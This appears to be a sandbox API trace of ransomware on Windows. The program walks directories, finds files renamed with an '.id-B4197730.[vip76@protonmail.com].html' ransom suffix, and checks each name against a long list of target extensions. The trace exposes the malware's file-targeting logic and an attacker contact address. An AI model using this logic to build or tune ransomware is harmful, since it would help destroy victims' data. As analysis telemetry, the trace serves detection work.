	[0165.942] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x820c8776, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x820c8776, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x820c8776, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.942] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x820ee924, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x820ee924, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x820ee924, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.943] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819ed971, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819ed971, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81efea7e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.943] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819ed971, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819ed971, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81efea7e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.943] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0165.944] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.944] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1
	[0165.944] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.944] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abfd8
	[0165.946] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0165.946] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x820ee924, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x820ee924, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82861f91, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.946] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82114cf6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82114cf6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8213aef9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.946] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81b9166d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81b9166d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81b9166d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.946] FindNextFileW (in: hFindFile=0x6abfd8, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81b9166d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81b9166d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81b9166d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.946] FindClose (in: hFindFile=0x6abfd8 | out: hFindFile=0x6abfd8) returned 1
	[0165.947] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0165.947] FindNextFileW (in: hFindFile=0x6abd58, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1
	[0165.947] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0165.947] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abb58
	[0166.146] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.146] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x821ad5df, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x821ad5df, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x828d461c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="Parameterinfo.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="PARAME~1.HTM")) returned 1
	[0166.146] lstrlenW (lpString="Parameterinfo.xml.id-B4197730.[vip76@protonmail.com].html") returned 57
	[0166.146] lstrlenW (lpString=".1cd") returned 4
	[0166.146] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0166.146] lstrlenW (lpString=".3ds") returned 4
	[0166.146] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0166.146] lstrlenW (lpString=".3fr") returned 4
	[0166.146] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0166.146] lstrlenW (lpString=".3g2") returned 4
	[0166.146] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0166.146] lstrlenW (lpString=".3gp") returned 4
	[0166.146] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0166.146] lstrlenW (lpString=".7z") returned 3
	[0166.146] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0166.146] lstrlenW (lpString=".accda") returned 6
	[0166.146] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0166.146] lstrlenW (lpString=".accdb") returned 6
	[0166.146] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0166.146] lstrlenW (lpString=".accdc") returned 6
	[0166.146] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0166.146] lstrlenW (lpString=".accde") returned 6
	[0166.147] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0166.147] lstrlenW (lpString=".accdt") returned 6
	[0166.147] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0166.147] lstrlenW (lpString=".accdw") returned 6
	[0166.147] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0166.147] lstrlenW (lpString=".adb") returned 4
	[0166.147] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0166.147] lstrlenW (lpString=".adp") returned 4
	[0166.147] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0166.147] lstrlenW (lpString=".ai") returned 3
	[0166.147] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0166.147] lstrlenW (lpString=".ai3") returned 4
	[0166.147] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0166.147] lstrlenW (lpString=".ai4") returned 4
	[0166.147] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0166.147] lstrlenW (lpString=".ai5") returned 4
	[0166.147] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0166.147] lstrlenW (lpString=".ai6") returned 4
	[0166.147] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0166.147] lstrlenW (lpString=".ai7") returned 4
	[0166.147] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0166.147] lstrlenW (lpString=".ai8") returned 4
	[0166.147] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0166.147] lstrlenW (lpString=".anim") returned 5
	[0166.147] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0166.147] lstrlenW (lpString=".arw") returned 4
	[0166.147] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0166.147] lstrlenW (lpString=".as") returned 3
	[0166.147] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0166.147] lstrlenW (lpString=".asa") returned 4
	[0166.147] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0166.147] lstrlenW (lpString=".asc") returned 4
	[0166.147] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0166.148] lstrlenW (lpString=".ascx") returned 5
	[0166.148] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0166.148] lstrlenW (lpString=".asm") returned 4
	[0166.148] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0166.148] lstrlenW (lpString=".asmx") returned 5
	[0166.148] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0166.148] lstrlenW (lpString=".asp") returned 4
	[0166.148] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0166.148] lstrlenW (lpString=".aspx") returned 5
	[0166.148] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0166.148] lstrlenW (lpString=".asr") returned 4
	[0166.148] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0166.148] lstrlenW (lpString=".asx") returned 4
	[0166.148] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0166.148] lstrlenW (lpString=".avi") returned 4
	[0166.148] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0166.148] lstrlenW (lpString=".avs") returned 4
	[0166.148] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0166.148] lstrlenW (lpString=".backup") returned 7
	[0166.148] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0166.148] lstrlenW (lpString=".bak") returned 4
	[0166.148] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0166.148] lstrlenW (lpString=".bay") returned 4
	[0166.148] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0166.148] lstrlenW (lpString=".bd") returned 3
	[0166.148] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0166.148] lstrlenW (lpString=".bin") returned 4
	[0166.148] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0166.148] lstrlenW (lpString=".bmp") returned 4
	[0166.148] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0166.148] lstrlenW (lpString=".bz2") returned 4
	[0166.148] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0166.149] lstrlenW (lpString=".c") returned 2
	[0166.149] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0166.149] lstrlenW (lpString=".cdr") returned 4
	[0166.149] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0166.149] lstrlenW (lpString=".cer") returned 4
	[0166.149] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0166.149] lstrlenW (lpString=".cf") returned 3
	[0166.149] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0166.149] lstrlenW (lpString=".cfc") returned 4
	[0166.149] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0166.149] lstrlenW (lpString=".cfm") returned 4
	[0166.149] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0166.149] lstrlenW (lpString=".cfml") returned 5
	[0166.149] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0166.149] lstrlenW (lpString=".cfu") returned 4
	[0166.149] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0166.149] lstrlenW (lpString=".chm") returned 4
	[0166.149] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0166.149] lstrlenW (lpString=".cin") returned 4
	[0166.149] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0166.149] lstrlenW (lpString=".class") returned 6
	[0166.149] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0166.149] lstrlenW (lpString=".clx") returned 4
	[0166.149] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0166.149] lstrlenW (lpString=".config") returned 7
	[0166.149] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0166.149] lstrlenW (lpString=".cpp") returned 4
	[0166.149] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0166.149] lstrlenW (lpString=".cr2") returned 4
	[0166.149] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0166.149] lstrlenW (lpString=".crt") returned 4
	[0166.149] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0166.149] lstrlenW (lpString=".crw") returned 4
	[0166.150] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0166.150] lstrlenW (lpString=".cs") returned 3
	[0166.150] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0166.150] lstrlenW (lpString=".css") returned 4
	[0166.150] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0166.150] lstrlenW (lpString=".csv") returned 4
	[0166.150] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0166.150] lstrlenW (lpString=".cub") returned 4
	[0166.150] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0166.150] lstrlenW (lpString=".dae") returned 4
	[0166.150] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0166.150] lstrlenW (lpString=".dat") returned 4
	[0166.150] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0166.150] lstrlenW (lpString=".db") returned 3
	[0166.150] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0166.150] lstrlenW (lpString=".dbf") returned 4
	[0166.150] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0166.150] lstrlenW (lpString=".dbx") returned 4
	[0166.150] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0166.150] lstrlenW (lpString=".dc3") returned 4
	[0166.150] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0166.150] lstrlenW (lpString=".dcm") returned 4
	[0166.150] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0166.150] lstrlenW (lpString=".dcr") returned 4
	[0166.150] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0166.150] lstrlenW (lpString=".der") returned 4
	[0166.150] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0166.150] lstrlenW (lpString=".dib") returned 4
	[0166.150] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0166.150] lstrlenW (lpString=".dic") returned 4
	[0166.150] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0166.150] lstrlenW (lpString=".dif") returned 4
	[0166.150] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0166.150] lstrlenW (lpString=".divx") returned 5
	[0166.151] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0166.151] lstrlenW (lpString=".djvu") returned 5
	[0166.151] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0166.151] lstrlenW (lpString=".dng") returned 4
	[0166.151] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0166.151] lstrlenW (lpString=".doc") returned 4
	[0166.151] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0166.151] lstrlenW (lpString=".docm") returned 5
	[0166.151] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0166.151] lstrlenW (lpString=".docx") returned 5
	[0166.151] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0166.151] lstrlenW (lpString=".dot") returned 4
	[0166.151] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0166.151] lstrlenW (lpString=".dotm") returned 5
	[0166.151] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0166.151] lstrlenW (lpString=".dotx") returned 5
	[0166.151] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0166.151] lstrlenW (lpString=".dpx") returned 4
	[0166.151] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0166.151] lstrlenW (lpString=".dqy") returned 4
	[0166.151] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0166.151] lstrlenW (lpString=".dsn") returned 4
	[0166.151] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0166.151] lstrlenW (lpString=".dt") returned 3
	[0166.151] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0166.151] lstrlenW (lpString=".dtd") returned 4
	[0166.151] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0166.151] lstrlenW (lpString=".dwg") returned 4
	[0166.151] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0166.151] lstrlenW (lpString=".dwt") returned 4
	[0166.151] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0166.151] lstrlenW (lpString=".dx") returned 3
	[0166.151] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0166.152] lstrlenW (lpString=".dxf") returned 4
	[0166.152] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0166.152] lstrlenW (lpString=".edml") returned 5
	[0166.152] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0166.152] lstrlenW (lpString=".efd") returned 4
	[0166.152] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0166.152] lstrlenW (lpString=".elf") returned 4
	[0166.152] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0166.152] lstrlenW (lpString=".emf") returned 4
	[0166.152] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0166.152] lstrlenW (lpString=".emz") returned 4
	[0166.152] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0166.152] lstrlenW (lpString=".epf") returned 4
	[0166.152] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0166.152] lstrlenW (lpString=".eps") returned 4
	[0166.152] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0166.152] lstrlenW (lpString=".epsf") returned 5
	[0166.152] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0166.152] lstrlenW (lpString=".epsp") returned 5
	[0166.152] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0166.152] lstrlenW (lpString=".erf") returned 4
	[0166.152] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0166.152] lstrlenW (lpString=".exr") returned 4
	[0166.152] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0166.152] lstrlenW (lpString=".f4v") returned 4
	[0166.152] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0166.152] lstrlenW (lpString=".fido") returned 5
	[0166.152] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0166.152] lstrlenW (lpString=".flm") returned 4
	[0166.152] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0166.153] lstrlenW (lpString=".flv") returned 4
	[0166.153] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0166.153] lstrlenW (lpString=".frm") returned 4
	[0166.153] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0166.153] lstrlenW (lpString=".fxg") returned 4
	[0166.153] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0166.153] lstrlenW (lpString=".geo") returned 4
	[0166.153] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0166.153] lstrlenW (lpString=".gif") returned 4
	[0166.153] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0166.153] lstrlenW (lpString=".grs") returned 4
	[0166.153] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0166.153] lstrlenW (lpString=".gz") returned 3
	[0166.153] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0166.153] lstrlenW (lpString=".h") returned 2
	[0166.153] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0166.153] lstrlenW (lpString=".hdr") returned 4
	[0166.153] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0166.153] lstrlenW (lpString=".hpp") returned 4
	[0166.153] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0166.153] lstrlenW (lpString=".hta") returned 4
	[0166.153] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0166.153] lstrlenW (lpString=".htc") returned 4
	[0166.153] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0166.153] lstrlenW (lpString=".htm") returned 4
	[0166.153] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0166.153] lstrlenW (lpString=".html") returned 5
	[0166.153] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0166.153] lstrlenW (lpString="Parameterinfo.xml.id-B4197730.[vip76@protonmail.com].html") returned 57
	[0166.153] lstrlenW (lpString=".html") returned 5
	[0166.153] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0166.153] FindNextFileW (in: hFindFile=0x6abb58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8221fcf6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8221fcf6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82245dfb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffebb0, dwReserved1=0x14c7, cFileName="UiInfo.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="UIINFO~1.HTM")) returned 1
	[0166.154] lstrlenW (lpString="UiInfo.xml.id-B4197730.[vip76@protonmail.com].html") returned 50
	[0166.154] lstrlenW (lpString=".1cd") returned 4
	[0166.154] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0166.154] lstrlenW (lpString=".3ds") returned 4
	[0166.154] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0166.154] lstrlenW (lpString=".3fr") returned 4
	[0166.154] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0166.154] lstrlenW (lpString=".3g2") returned 4
	[0166.154] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0166.154] lstrlenW (lpString=".3gp") returned 4
	[0166.154] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0166.154] lstrlenW (lpString=".7z") returned 3
	[0166.154] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0166.154] lstrlenW (lpString=".accda") returned 6
	[0166.154] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0166.154] lstrlenW (lpString=".accdb") returned 6
	[0166.154] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0166.154] lstrlenW (lpString=".accdc") returned 6
	[0166.154] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0166.154] lstrlenW (lpString=".accde") returned 6
	[0166.154] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0166.154] lstrlenW (lpString=".accdt") returned 6
	[0166.154] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0166.154] lstrlenW (lpString=".accdw") returned 6
	[0166.154] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0166.154] lstrlenW (lpString=".adb") returned 4
	[0166.154] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0166.154] lstrlenW (lpString=".adp") returned 4
	[0166.154] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0166.154] lstrlenW (lpString=".ai") returned 3
	[0166.154] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0166.154] lstrlenW (lpString=".ai3") returned 4
	[0166.154] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0166.155] lstrlenW (lpString=".ai4") returned 4
	[0166.155] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
